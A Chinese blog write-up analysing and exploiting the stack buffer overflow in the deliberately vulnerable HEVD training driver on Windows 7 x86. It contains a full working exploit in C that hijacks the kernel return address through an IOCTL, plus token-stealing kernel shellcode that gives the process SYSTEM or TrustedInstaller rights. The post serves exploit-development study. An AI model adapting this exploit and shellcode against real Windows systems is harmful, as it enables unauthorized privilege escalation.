漏洞分析丨HEVD-0x1.StackOverflow[win7x86]

发布者:极安御信
发布于:2022-06-30 13:52

前言

窥探Ring0漏洞世界第一课:缓冲区溢出

实验环境:

虚拟机:Windows 7 x86


物理机:Windows 10 x64


软件:IDAWindbgVS2022


漏洞分析

该环境提供了各种内核漏洞场景供学习,本次实验内容是BufferOverflowStack

首先用IDA打开HEVD.sys,搜索BufferOverflowStack,可以看到两个函数:BufferOverflowStackIoctlHandlerTriggerBufferOverflowStack,前者是分发程序,后者是漏洞程序

IDAF5里可以看出,这是一个经典的栈溢出漏洞:使用用户输入的长度进行memcpy调用

int __stdcall TriggerBufferOverflowStack(void *UserBuffer, unsigned int Size)
{
unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch] BYREF
 CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]

 memset(KernelBuffer, 0, sizeof(KernelBuffer));
 ms_exc.registration.TryLevel = 0;
 ProbeForRead(UserBuffer, 0x800u, 1u); // 
检查用户缓冲区是否可读
 _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
 _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%zX\n", Size);
 _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", KernelBuffer);
 _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%zX\n", 0x800u);
  _DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n");
 memcpy(KernelBuffer, UserBuffer, Size);       // 
经典缓冲区溢出
  return 0;
}

接下来看看要如何进入这个漏洞函数,利用IDA的交叉引用功能,可以看到是BufferOverflowStackIoctlHandler函数:

int __stdcall BufferOverflowStackIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
int v2; // ecx
 _NAMED_PIPE_CREATE_PARAMETERS *Parameters; // edx

  v2 = -1073741823;
 Parameters = IrpSp->Parameters.CreatePipe.Parameters;
  if ( Parameters )
   return TriggerBufferOverflowStack(Parameters, IrpSp->Parameters.Create.Options);
  return v2;
}

这里使用的是IRP传参,也就是说驱动是使用IO通信的,接着使用交叉引用向上找,找到通信的地方,找到进入这里用的控制码:

看这个分支结构,和这明显的jumptable标识,这是一个跳转表,这是switch-case结构,这里应该就是通过控制码进行跳转:

PAGE:00444064 _IrpDeviceIoCtlHandler@8 proc near      ; DATA XREF: DriverEntry(x,x)+8Ao
PAGE:00444064
PAGE:00444064                               DeviceObject= dword ptr  8
PAGE:00444064                               Irp= dword ptr  0Ch
PAGE:00444064
PAGE:00444064 55                            push    ebp
PAGE:00444065 8B EC                         mov     ebp, esp
PAGE:00444067 53                            push    ebx
PAGE:00444068 56                            push    esi
PAGE:00444069 57                            push    edi
PAGE:0044406A 8B 7D 0C                      mov     edi, [ebp+Irp]
PAGE:0044406D BB BB 00 00 C0                mov     ebx, 0C00000BBh
PAGE:00444072 8B 47 60                      mov     eax, [edi+60h]                  ; IrpStack
PAGE:00444075 85 C0                         test    eax, eax
PAGE:00444077 0F 84 6D 04 00 00             jz      loc_4444EA
PAGE:00444077
PAGE:0044407D 8B D8                         mov     ebx, eax
PAGE:0044407F 8B 4B 0C                      mov     ecx, [ebx+0Ch]                  ; IoControlCode
PAGE:00444082 8D 81 FD DF DD FF             lea     eax, [ecx-222003h]              ; switch 113 cases
PAGE:00444088 83 F8 70                      cmp     eax, 70h                        
大于0x70就跳转
PAGE:0044408B 0F 87 41 04 00 00             ja      $LN34                           ; jumptable 00444098 default case, cases 2236420-2236422,2236424-2236426,2236428-2236430,2236432-2236434,2236436-2236438,2236440-2236442,2236444-2236446,2236448-2236450,2236452-2236454,2236456-2236458,2236460-2236462,2236464-2236466,2236468-2236470,2236472-2236474,2236476-2236478,2236480-2236482,2236484-2236486,2236488-2236490,2236492-2236494,2236496-2236498,2236500-2236502,2236504-2236506,2236508-2236510,2236512-2236514,2236516-2236518,2236520-2236522,2236524-2236526,2236528-2236530
PAGE:0044408B
PAGE:00444091 0F B6 80 7C 45 44 00          movzx   eax, ds:byte_44457C[eax]        
根据eax索引取地址索引
PAGE:00444098 FF 24 85 04 45 44 00          jmp     ds:jpt_444098[eax*4]            ; switch jump
PAGE:00444098
PAGE:0044409F                               ; ---------------------------------------------------------------------------
PAGE:0044409F
PAGE:0044409F                               $LN5:                                   ; CODE XREF: IrpDeviceIoCtlHandler(x,x)+34j
PAGE:0044409F                                                                      ; DATA XREF: IrpDeviceIoCtlHandler(x,x):jpt_444098o
PAGE:0044409F 8B 35 04 20 40 00             mov     esi, ds:__imp__DbgPrintEx       ; jumptable 00444098 case 2236419
PAGE:004440A5 68 2E 6B 44 00                push    offset aHevdIoctlBuffe          ; "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK"...
PAGE:004440AA 6A 03                         push    3                               ; Level
PAGE:004440AC 6A 4D                         push    4Dh ; 'M'                       ; ComponentId
PAGE:004440AE FF D6                         call    esi ; __imp__DbgPrintEx
PAGE:004440AE
PAGE:004440B0 83 C4 0C                      add     esp, 0Ch
PAGE:004440B3 53                            push    ebx                             ; _IO_STACK_LOCATION *
PAGE:004440B4 57                            push    edi                             ; _IRP *
PAGE:004440B5 E8 EC 10 00 00                call    _BufferOverflowStackIoctlHandler@8 ; BufferOverflowStackIoctlHandler(x,x)
PAGE:004440B5
PAGE:004440BA 68 2E 6B 44 00                push    offset aHevdIoctlBuffe          ; "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK"...
PAGE:004440BA

可以看到,这里我们要找的函数位于跳转表的第一个,eax传入的值是0,让eax0,那么eax = 控制码ecx-222003h=0,控制码为0x222003

到此,知道如何调用到这个函数了,接下来写代码来进行利用


漏洞利用

首先填充传递一个刚好大小的buffer,查看栈的情况:

这里的memcpy复制的内容填充满可以填充到0x916aeab0,距离返回地址0x916aead4还有0x20+4个字节

再往缓冲区里填充20字节的随便字符,然后再填充4字节返回地址,这样就可以跳出到shellcode上了,这里没有gs保护,所以还是比较简单的

利用代码:(关于TokenStealingPayloadWin7函数在下文进行介绍)

#include
#include

int main()
{
ULONG UserBufferSize = 512 * sizeof(ULONG) + 0x20 + 4;
    PVOID EopPayload = &TokenStealingPayloadWin7;

   HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver",
       GENERIC_ALL,
       FILE_SHARE_WRITE,
       nullptr,
       OPEN_EXISTING,
       0,
       nullptr);
    if (hDevice == INVALID_HANDLE_VALUE) {
       printf("[ERROR]Open Device Error\r\n");
       system("pause");
       exit(1);
    }
    else {
       printf("[INFO]Device Handle: 0x%X\n", hDevice);
    }
 
   PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
    if (!UserBuffer) {
       printf("[ERROR]Allocate ERROR");
       system("pause");

       exit(1);
    }
    else {
       printf("[INFO]Allocated Memory: 0x%p\n",UserBuffer);
       printf("[INFO]Allocation Size: 0x%X\n", UserBufferSize);
    }

   RtlFillMemory(UserBuffer, UserBufferSize, 0x41);

    PVOID MemoryAddress = (PVOID)(((ULONG)UserBuffer + UserBufferSize) - sizeof(ULONG));
   *(PULONG)MemoryAddress = (ULONG)EopPayload;
 
   //PVOID MemoryAddress = (PVOID)(((ULONG)UserBuffer + 512) - sizeof(ULONG));
    ULONG WriteRet = 0;
   DeviceIoControl(hDevice, 0x222003, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

   HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
   UserBuffer = NULL;

   system("pause");
   system("cmd.exe");

   return 0;
}

因为需要管理员执行,这样提升到system权限好像看不出个啥,于是这里就修改了替换的token,提升到trustedinstaller权限

memcpy之后,可见返回地址变成了我们自己的地址:

执行结果:获得trustedinstaller权限

当进程结束后,如果是分配system进程的主令牌,则没事,如果是trustedInstaller则会系统奔溃,应该是进程结束后系统会对该进程的主令牌进行某种操作,后面再去了解具体情况!


exp 分析--TokenSteal

shellcodeexp见参考资料[4]:申请一个可执行的内存保存shellcode,然后设置返回地址到这个申请的内存上

进程的主令牌token位于EPROCESS结构中:

+0x0f8 Token            : _EX_FAST_REF

只需要把其他进程EPROCESSToken替换到当前进行,当前进程使用的就是该进程的主令牌了,就会拥有该令牌的权限

该示例给出的官方EXP代码如下:

// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004 // SYSTEM Process PID

VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
       pushad                  
保存寄存器

        ;开始令牌窃取流程
       xor eax, eax                清空eax
       mov eax, fs: [eax + KTHREAD_OFFSET]     
获取当前线程KTHREADnt!_KPCR.PcrbData.CurrentThread
                            
内核态fs寄存器指向KPCR_KTHREAD is located at FS : [0x124]

       mov eax, [eax + EPROCESS_OFFSET]   
获取当前线程EPROCESSnt!_KTHREAD.ApcState.Process

       mov ecx, eax                
保存当前进程 _EPROCESS 结构地址

       mov edx, SYSTEM_PID         ; WIN 7 SP1 SYSTEM process PID = 0x4

    
循环找到系统进程(PID=4)的EPROCESS结构
       SearchSystemPID:
    mov eax, [eax + FLINK_OFFSET]       
获取进程链表的下一项 nt!_EPROCESS.ActiveProcessLinks.Flink
        sub eax, FLINK_OFFSET           
恢复到EPROCESS首地址
       cmp[eax + PID_OFFSET], edx      对比PID是不是指定进程,nt!_EPROCESS.UniqueProcessId
       jne SearchSystemPID         
不是就跳转

       mov edx, [eax + TOKEN_OFFSET]      获取系统进程的tokennt!_EPROCESS.Token
       mov[ecx + TOKEN_OFFSET], edx       
替换当前进程的tokennt!_EPROCESS.Token          
        ;
令牌窃取流程结束

   popad                   回复寄存器

        ;内核恢复流程
       xor eax, eax                设置返回值:0NTSTATUS_SUCCEESS
       add esp, 12             
修复栈顶esp
       pop ebp                 
还原ebp
       ret 8                   
返回
    }
}

这里的最后几句很巧妙:

;内核恢复流程
       xor eax, eax                设置返回值:0NTSTATUS_SUCCEESS
       add esp, 12             
修复栈顶esp
       pop ebp                 
还原ebp
       ret 8                   
返回

这里清空了eax作为返回值,然后最巧妙的就是这个espebp的修复了!

因为在R0程序不能奔溃,所以这个程序被劫持了执行流之后,还得还原回去,因为我们是通过覆盖返回地址劫持的,所以没法再从这个返回地址返回了

在劫持之前,函数返回的时候,把ebp给了esp,然后弹出ebp返回,这里的add esp 12实际上是把栈顶的位置放到了再上一层函数的栈顶,然后通过pop ebp恢复ebp到再上一层函数的位置,此时ebp的值就是返回地址,因为上层函数返回再上层函数会把esp往后走8个字节,所以这里就是ret 8(具体是怎么写出来的见下一篇的分析)

查看调用堆栈:

1: kd> k
# ChildEBP RetAddr   
00 8d6bfad0 00151040     HEVD!TriggerBufferOverflowStack+0xc4 [C:\Users\selph\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\BufferOverflowStack.c @ 116]
WARNING: Frame IP not in any known module. Following frames may be wrong.
01 8d6bfae0 8ede60ba     0x151040
02 8d6bfafc 83e7c593     HEVD!IrpDeviceIoCtlHandler+0x56 [C:\Users\selph\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\HackSysExtremeVulnerableDriver.c @ 278]
03 8d6bfb14 8407099f     nt!IofCallDriver+0x63

函数实际原本的调用顺序是IrpDeviceIoCtlHandler->BufferOverflowStackIoctlHandler->TriggerBufferOverflowStack

现在的调用堆栈则变成了IrpDeviceIoCtlHandler->自己的函数->TriggerBufferOverflowStack

相当于我们把中间这个过程给跳过了!!!R0真是太神奇了!


参考资料

[1] hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com) https://github.com/hacksysteam/HackSysExtremeVulnerableDriver


[2] FuzzySecurity | Windows ExploitDev: Part 10 https://www.fuzzysecurity.com/tutorials/expDev/14.html


[3] (1条消息) FS寄存器的作用_tanweng的博客-CSDN博客_fs寄存器 https://blog.csdn.net/tanweng/article/details/8929100


[4] HSEVD-StackOverflow/HS-StackOverflow.c at master · Cn33liz/HSEVD-StackOverflow (github.com) https://github.com/Cn33liz/HSEVD-StackOverflow/blob/master/HS-StackOverflow/HS-StackOverflow.c



声明:该文观点仅代表作者本人,转载请注明来自看雪